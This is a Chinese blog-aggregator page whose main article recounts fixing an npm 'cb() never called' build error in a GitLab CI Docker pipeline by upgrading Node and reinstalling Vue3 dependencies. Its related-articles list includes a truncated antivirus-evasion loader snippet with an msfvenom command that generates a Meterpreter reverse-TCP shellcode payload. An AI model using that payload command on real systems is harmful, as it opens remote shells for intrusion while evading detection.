当前位置: 首页 > news >正文

记录一次 npm ERR! cb() never called! 解决过程

gitlab cicd过程,使用docker部署Vue3前端项目,报错如下:


针对 npm ERR! cb() never called! 这个报错,网上有很多解决方案,大都是清空缓存,重新运行npm 之类的。笔者全都试过,无法解决问题。笔者遇到的问题比较特殊,分析如下:

1、这个项目是2年前建立的,当时的Vue3版本还比较低,使用的node版本是v14.18.1,就在不久前,node官方不再支持node14,才造成打包报错。

2、基于docker文件先打出docker包,gitlab的CICD每次包pipline时都会新建一个docker容器,重新执行npm install 命令;
npm install 无论是否增加代理,都会连到npm官方库拉取安装包,node:v14.18.1对应的npm包已经无法拉取完整的了。

解决:

1、升级node到v16.

2、针对package.json的所有依赖全部清空,然后 针对老的依赖中的每个依赖包单独执行 npm i <package>,如:

npm i moment --save  

安装过程中可能会出现依赖的问题,如下。这个报错就是不知道依赖的Vue是哪个版本,因此也无法安装具体的依赖。解决方法是先安装Vue3的某个版本。

npm i pinia --savenpm WARN config global `--global`, `--local` are deprecated. Use `--location=global` instead.
npm ERR! code ERESOLVE
npm ERR! ERESOLVE could not resolve
npm ERR!
npm ERR! While resolving: knowledgehub@0.0.0
npm ERR! Found: vue@3.4.13
npm ERR! node_modules/vue
npm ERR!   peer vue@"^3.2.0" from @element-plus/icons-vue@2.3.1
npm ERR!   node_modules/@element-plus/icons-vue
npm ERR!     @element-plus/icons-vue@"^2.3.1" from element-plus@2.8.0
npm ERR!     node_modules/element-plus
npm ERR!       element-plus@"^2.8.0" from the root project
npm ERR!   peer vue@"^3.2.25" from @vitejs/plugin-vue@2.3.4
npm ERR!   node_modules/@vitejs/plugin-vue
npm ERR!     dev @vitejs/plugin-vue@"^2.3.4" from the root project
npm ERR!   4 more (@vue/server-renderer, vue-demi, vue-demi, element-plus)
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! pinia@"*" from the root project
npm ERR!
npm ERR! Conflicting peer dependency: vue@2.6.14
npm ERR! node_modules/vue
npm ERR!   peer vue@">= 2.5 < 2.7" from @vue/composition-api@1.7.2
npm ERR!   node_modules/@vue/composition-api
npm ERR!     peerOptional @vue/composition-api@"^1.4.0" from pinia@2.2.1
npm ERR!     node_modules/pinia
npm ERR!       pinia@"*" from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR! See C:\Users\jianjuns\AppData\Local\npm-cache\eresolve-report.txt for a full report.

3、先执行需要安装的Vue3的版本

npm i vue@3.2.37 --save  // 此处必须制定Vue3的版本,Vue的版本指定后,其他包的版本会自动指定npm i vue-axios --savenpm i vue-cropper --savenpm i vue-cropper --save

原来的package.json文件如下:

全部依赖更新完成后的截图如下:

观察后可见,vue版本和各个依赖的包的版本都升级到了最新的版本。

修改完成后,重新提交发布,发布成功。

相关文章:

记录一次 npm ERR! cb() never called! 解决过程

gitlab cicd过程&#xff0c;使用docker部署Vue3前端项目&#xff0c;报错如下&#xff1a; 针对 npm ERR! cb() never called! 这个报错&#xff0c;网上有很多解决方案&#xff0c;大都是清空缓存&#xff0c;重新运行npm 之类的。笔者全都试过&#xff0c;无法解决问题。笔者…...

WEB渗透免杀篇-加载器免杀

SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...

什么是反人性设计?

目录 一、什么是人性&#xff1f; 二、什么是反人性设计&#xff1f; 三、有哪些反人性设计&#xff1f; 一、什么是人性&#xff1f; 人性&#xff0c;通常指的是人类共有的基本特质和行为倾向&#xff0c;它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...

如何进行长截图的两种方法

前言 本文主要讲2种截图方式&#xff0c;分别是谷歌和QQ。 谷歌分为Web端 和 移动端&#xff0c;选一种即可。 第一种&#xff1a;谷歌浏览器控制台自带的 1.先把控制台语言更改为中文&#xff0c;方便查看 ①.按F12&#xff0c;点击设置面板 ②.修改语言为中文并关闭 ③.点击…...

基于轨迹的汽车跟随系统横向控制方法

A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...

2024年8月15日嵌入式学习

今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程&#xff0c;当一个线程收到取消的申请时&#xff0c;他不会立即停止&#xff0c;而是在下一个取消点处结束运行&#xff0c;取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...

C++引用和指针的区别还分不清楚?

不像其他语言&#xff0c;c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌&#xff0c;给你画个表格协助判断。 总体上&#xff0c;我们可以总结为以下五个区别&#xff1a; 一、定义方式&#xff1a; 指针通过使用 * 来定义&#xff0c;例如&#xff1…...

【Cesium开发实战】相机捕捉功能,获取当前视图,设定分辨率可下载当前视图图片

Cesium有很多很强大的功能,可以在地球上实现很多炫酷的3D效果。今天给大家分享一个相机捕捉功能,支持可以按照设定的分辨率下载当前视角的缩略图。 1.话不多说,先展示 相机快照 2.设计思路 根据项目需求要求,点击快照捕捉按钮可截取当前视角视图为缩略图,并弹框可输入视…...

基于spring boot的疫情信息管理系统

TOC springboot255基于spring boot的疫情信息管理系统 绪论 1.1研究背景与意义 信息化管理模式是将行业中的工作流程由人工服务&#xff0c;逐渐转换为使用计算机技术的信息化管理服务。这种管理模式发展迅速&#xff0c;使用起来非常简单容易&#xff0c;用户甚至不用掌握…...

【秋招笔试】8.11大疆秋招(第二套)-测开岗

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收…...

Vitis AI 基本认知(训练过程)

目录 1. 目的 2. TensorBoard 2.1 In TensorFlow 2.2.1 安装 TensorBoard 2.2.2 导入必要的库 2.2.3 初始化 2.2.4 记录数据 2.2.5 启动 TensorBoard 2.2.6 刷新间隔 2.2 In PyTorch 2.2.1 安装 setuptools 2.2.2 记录数据 2.2.3 查看 Tensorboard 3. 训练周期 E…...

《SQL 约束:保障数据完整性与准确性的关键防线》

在数据库管理的世界里&#xff0c;SQL 约束&#xff08;Constraints&#xff09;就像是守护数据城堡的卫士&#xff0c;确保数据的完整性、准确性和一致性。主键、外键和唯一约束是其中最为重要的几种约束类型&#xff0c;它们在数据库设计和数据操作中发挥着至关重要的作用。本…...

Temu半托管即将开通日韩站点,Temu半托管怎么上产品?

Temu是拼多多旗下的跨境电商平台&#xff0c;截至2024上半年&#xff0c;Temu的销售额达到了200亿美元左右。目前&#xff0c;Temu已进入了50多个国家和地区&#xff0c;是跨境卖家掘金海外市场的重要平台。 Temu半托管即将开通日韩站点 今年3月&#xff0c;Temu跟随速卖通正式…...

谷歌、火狐、Edge浏览器使用allWebPlugin中间件加载ActiveX控件

安装allWebPlugin中间件 1、请从下面地址下载allWebPlugin中间件产品 链接&#xff1a;百度网盘 请输入提取码百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固&#xff0c;支持教育网加速&#xff0c;支持手机端。注册使用百…...

Python利用openpyxl复制Excel文件且保留样式—另存为副本(附完整代码)

目录 专栏导读库的介绍库的安装前言结果预览目录结构完整代码总结专栏导读 🌸 欢迎来到Python办公自动化专栏—Python处理办公问题,解放您的双手 🏳️‍🌈 博客主页:请点击——> 一晌小贪欢的博客主页求关注 👍 该系列文章专栏:请点击——>Python办公自动化专…...

ITL-Internet Technology Letters

文章目录 一、期刊简介二、征稿信息三、投稿须知四、咨询 一、期刊简介 Internet Technology Letters本期旨在涵盖所有用于提高物联网性能的新兴或现代学习算法。在此背景下&#xff0c;我们打算收集有关物联网学习进展的研究论文。强烈鼓励与机器学习、计算智能、概率学习、统…...

Mapreduce_wordcount自定义单词计数

自定义的wordcount 数据处理过程 加载jar包 查看后面的pom文件 以上为需要的jar包路径&#xff0c;将其导入至idea中 Map package com.hadoop;import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; im…...

安卓开发中的AppCompat框架使用详解

引言 在安卓开发中&#xff0c;为了确保应用能够在不同版本的安卓系统上保持一致的外观和行为&#xff0c;Google 推出了 AppCompat 支持库。AppCompat 支持库提供了一系列兼容性组件和行为&#xff0c;允许开发者使用较新的 UI 组件和功能&#xff0c;同时保持应用向后兼容旧…...

docker中挂桶什么意思

“挂桶”是指在 Docker 容器中挂载一个存储桶&#xff08;通常指的是云存储桶&#xff0c;如 AWS S3、阿里云 OSS 等&#xff09;或本地存储目录的操作。通过挂载&#xff0c;Docker 容器可以直接访问存储桶中的文件&#xff0c;就像访问本地文件系统一样。 具体来说&#xff…...

鸿蒙开发Location Kit(位置服务)如何设置

鸿蒙Location Kit 是一个强大的位置服务工具包&#xff0c;允许开发者在应用程序中集成精确的定位功能。Location Kit 提供了多种定位模式&#xff0c;支持室内和室外定位&#xff0c;并结合了GPS、Wi-Fi、蓝牙和基站等多种定位技术。 核心功能 精确定位&#xff1a;支持高精…...

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站&#xff0c;会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后&#xff0c;网站没有变化的情况。 不熟悉siteground主机的新手&#xff0c;遇到这个问题&#xff0c;就很抓狂&#xff0c;明明是哪都没操作错误&#x…...

【力扣数据库知识手册笔记】索引

索引 索引的优缺点 优点1. 通过创建唯一性索引&#xff0c;可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度&#xff08;创建索引的主要原因&#xff09;。3. 可以加速表和表之间的连接&#xff0c;实现数据的参考完整性。4. 可以在查询过程中&#xff0c;…...

Debian系统简介

目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版&#xff…...

sqlserver 根据指定字符 解析拼接字符串

DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

自然语言处理——Transformer

自然语言处理——Transformer 自注意力机制多头注意力机制Transformer 虽然循环神经网络可以对具有序列特性的数据非常有效&#xff0c;它能挖掘数据中的时序信息以及语义信息&#xff0c;但是它有一个很大的缺陷——很难并行化。 我们可以考虑用CNN来替代RNN&#xff0c;但是…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

Pinocchio 库详解及其在足式机器人上的应用

Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库&#xff0c;专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性&#xff0c;并提供了一个通用的框架&…...